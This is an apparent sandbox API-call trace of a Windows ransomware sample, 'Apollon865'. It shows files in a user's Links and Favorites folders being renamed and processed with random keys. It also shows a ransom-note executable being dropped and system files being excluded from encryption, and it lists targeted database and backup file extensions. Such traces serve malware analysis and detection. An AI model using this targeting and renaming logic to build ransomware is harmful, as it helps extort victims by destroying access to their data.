	[0088.545] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk.Apollon865") returned 60
	[0088.545] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\downloads.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\downloads.lnk.apollon865"), dwFlags=0x1) returned 1
	[0088.546] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\downloads.lnk.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.546] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=929) returned 1
	[0088.546] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.546] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.546] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.546] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.547] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.547] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.547] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6b0, lpName=0x0) returned 0x15c
	[0088.549] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6b0) returned 0x100000
	[0088.550] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.550] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.550] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.551] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.551] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.551] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.551] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.551] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.551] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.551] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.551] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.551] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.551] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.551] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.551] CloseHandle (hObject=0x15c) returned 1
	[0088.551] CloseHandle (hObject=0x9c) returned 1
	[0088.551] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.551] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.551] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.552] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303e8990, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x303e8990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0088.552] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0088.552] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1
	[0088.552] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.552] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="Apollon865.txt.exe") returned 1
	[0088.552] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".") returned 1
	[0088.552] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="..") returned 1
	[0088.552] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="windows") returned -1
	[0088.552] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="bootmgr") returned 1
	[0088.552] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="temp") returned -1
	[0088.552] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="pagefile.sys") returned 1
	[0088.552] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="boot") returned 1
	[0088.552] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="ids.txt") returned 1
	[0088.552] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="ntuser.dat") returned 1
	[0088.552] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="perflogs") returned 1
	[0088.552] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="MSBuild") returned 1
	[0088.552] lstrlenW (lpString="RecentPlaces.lnk") returned 16
	[0088.552] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk") returned 49
	[0088.552] lstrcpyW (in: lpString1=0x119e650, lpString2="RecentPlaces.lnk" | out: lpString1="RecentPlaces.lnk") returned="RecentPlaces.lnk"
	[0088.552] lstrlenW (lpString="RecentPlaces.lnk") returned 16
	[0088.552] lstrlenW (lpString="Apollon865") returned 10
	[0088.552] lstrcmpiW (lpString1="Places.lnk", lpString2="Apollon865") returned 1
	[0088.552] lstrlenW (lpString=".dll") returned 4
	[0088.552] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".dll") returned 1
	[0088.552] lstrlenW (lpString=".lnk") returned 4
	[0088.552] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".lnk") returned 1
	[0088.552] lstrlenW (lpString=".ini") returned 4
	[0088.552] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".ini") returned 1
	[0088.552] lstrlenW (lpString=".sys") returned 4
	[0088.552] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".sys") returned 1
	[0088.552] lstrlenW (lpString="RecentPlaces.lnk") returned 16
	[0088.553] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk.Apollon865") returned 63
	[0088.553] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\recentplaces.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\recentplaces.lnk.apollon865"), dwFlags=0x1) returned 1
	[0088.554] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\recentplaces.lnk.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.554] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=363) returned 1
	[0088.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.555] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.556] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.556] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.556] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x470, lpName=0x0) returned 0x15c
	[0088.558] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x470) returned 0x100000
	[0088.559] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.560] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.560] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.560] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.561] CloseHandle (hObject=0x15c) returned 1
	[0088.561] CloseHandle (hObject=0x9c) returned 1
	[0088.561] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.561] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.561] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.561] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0
	[0088.561] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0088.561] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c30
	[0088.561] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites"
	[0088.561] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcb70 | out: hHeap=0x580000) returned 1
	[0088.561] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0088.561] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned 39
	[0088.561] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites"
	[0088.561] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0088.561] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0088.562] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0088.563] GetLastError () returned 0x0
	[0088.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0088.563] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0088.563] CloseHandle (hObject=0x10c) returned 1
	[0088.563] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0088.563] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0088.563] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x303e8990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x303e8990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0088.563] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.563] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0088.563] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0088.563] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x303e8990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x303e8990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.563] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.563] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0088.563] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0088.563] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0088.563] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0088.563] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.563] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0088.563] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0088.564] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0088.564] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0088.564] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0088.564] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0088.564] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0088.564] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0088.564] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0088.564] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0088.564] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0088.564] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0088.564] lstrlenW (lpString="desktop.ini") returned 11
	[0088.564] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*") returned 41
	[0088.564] lstrcpyW (in: lpString1=0x119e658, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0088.564] lstrlenW (lpString="desktop.ini") returned 11
	[0088.564] lstrlenW (lpString="Apollon865") returned 10
	[0088.564] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0088.564] lstrlenW (lpString=".dll") returned 4
	[0088.564] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0088.564] lstrlenW (lpString=".lnk") returned 4
	[0088.564] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0088.564] lstrlenW (lpString=".ini") returned 4
	[0088.564] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0088.564] lstrlenW (lpString=".sys") returned 4
	[0088.564] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0088.564] lstrlenW (lpString="desktop.ini") returned 11
	[0088.564] lstrlenW (lpString="bak") returned 3
	[0088.564] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0088.564] lstrlenW (lpString="ba_") returned 3
	[0088.564] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0088.564] lstrlenW (lpString="dbb") returned 3
	[0088.564] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0088.564] lstrlenW (lpString="vmdk") returned 4
	[0088.564] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0088.564] lstrlenW (lpString="rar") returned 3
	[0088.564] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0088.564] lstrlenW (lpString="zip") returned 3
	[0088.564] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0088.565] lstrlenW (lpString="tgz") returned 3
	[0088.565] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0088.565] lstrlenW (lpString="vbox") returned 4
	[0088.565] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0088.565] lstrlenW (lpString="vdi") returned 3
	[0088.565] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0088.565] lstrlenW (lpString="vhd") returned 3
	[0088.565] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0088.565] lstrlenW (lpString="vhdx") returned 4
	[0088.565] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0088.565] lstrlenW (lpString="avhd") returned 4
	[0088.565] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0088.565] lstrlenW (lpString="db") returned 2
	[0088.565] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0088.565] lstrlenW (lpString="db2") returned 3
	[0088.565] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0088.565] lstrlenW (lpString="db3") returned 3
	[0088.565] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0088.565] lstrlenW (lpString="dbf") returned 3
	[0088.565] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0088.565] lstrlenW (lpString="mdf") returned 3
	[0088.565] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0088.565] lstrlenW (lpString="mdb") returned 3
	[0088.565] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0088.565] lstrlenW (lpString="sql") returned 3
	[0088.565] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0088.565] lstrlenW (lpString="sqlite") returned 6
	[0088.565] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0088.565] lstrlenW (lpString="sqlite3") returned 7
	[0088.565] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0088.565] lstrlenW (lpString="sqlitedb") returned 8
	[0088.565] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0088.565] lstrlenW (lpString="xml") returned 3
	[0088.565] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0088.565] lstrlenW (lpString="$er") returned 3
	[0088.565] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0088.565] lstrlenW (lpString="4dd") returned 3
	[0088.566] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0088.566] lstrlenW (lpString="4dl") returned 3
	[0088.566] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0088.566] lstrlenW (lpString="^^^") returned 3
	[0088.566] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0088.566] lstrlenW (lpString="abs") returned 3
	[0088.566] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0088.566] lstrlenW (lpString="abx") returned 3
	[0088.566] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0088.566] lstrlenW (lpString="accdb") returned 5
	[0088.566] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0088.566] lstrlenW (lpString="accdc") returned 5
	[0088.566] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0088.566] lstrlenW (lpString="accde") returned 5
	[0088.566] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0088.566] lstrlenW (lpString="accdr") returned 5
	[0088.566] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0088.566] lstrlenW (lpString="accdt") returned 5
	[0088.566] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0088.566] lstrlenW (lpString="accdw") returned 5
	[0088.566] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0088.566] lstrlenW (lpString="accft") returned 5
	[0088.566] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0088.566] lstrlenW (lpString="adb") returned 3
	[0088.566] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0088.566] lstrlenW (lpString="adb") returned 3
	[0088.566] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0088.566] lstrlenW (lpString="ade") returned 3
	[0088.566] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0088.566] lstrlenW (lpString="adf") returned 3
	[0088.566] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0088.566] lstrlenW (lpString="adn") returned 3
	[0088.566] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0088.566] lstrlenW (lpString="adp") returned 3
	[0088.566] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0088.566] lstrlenW (lpString="alf") returned 3
	[0088.566] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0088.566] lstrlenW (lpString="ask") returned 3
	[0088.567] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0088.567] lstrlenW (lpString="btr") returned 3
	[0088.567] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0088.567] lstrlenW (lpString="cat") returned 3
	[0088.567] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0088.567] lstrlenW (lpString="cdb") returned 3
	[0088.567] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0088.567] lstrlenW (lpString="ckp") returned 3
	[0088.567] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0088.567] lstrlenW (lpString="cma") returned 3
	[0088.567] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0088.567] lstrlenW (lpString="cpd") returned 3
	[0088.567] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0088.567] lstrlenW (lpString="dacpac") returned 6
	[0088.567] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0088.567] lstrlenW (lpString="dad") returned 3
	[0088.567] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0088.567] lstrlenW (lpString="dadiagrams") returned 10
	[0088.567] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0088.567] lstrlenW (lpString="daschema") returned 8
	[0088.567] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0088.567] lstrlenW (lpString="db-journal") returned 10
	[0088.567] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0088.567] lstrlenW (lpString="db-shm") returned 6
	[0088.567] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0088.567] lstrlenW (lpString="db-wal") returned 6
	[0088.567] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0088.567] lstrlenW (lpString="dbc") returned 3
	[0088.567] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0088.567] lstrlenW (lpString="dbs") returned 3
	[0088.567] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0088.567] lstrlenW (lpString="dbt") returned 3
	[0088.567] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0088.567] lstrlenW (lpString="dbv") returned 3
	[0088.567] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0088.567] lstrlenW (lpString="dbx") returned 3
	[0088.567] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0088.567] lstrlenW (lpString="dcb") returned 3
	[0088.568] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0088.568] lstrlenW (lpString="dct") returned 3
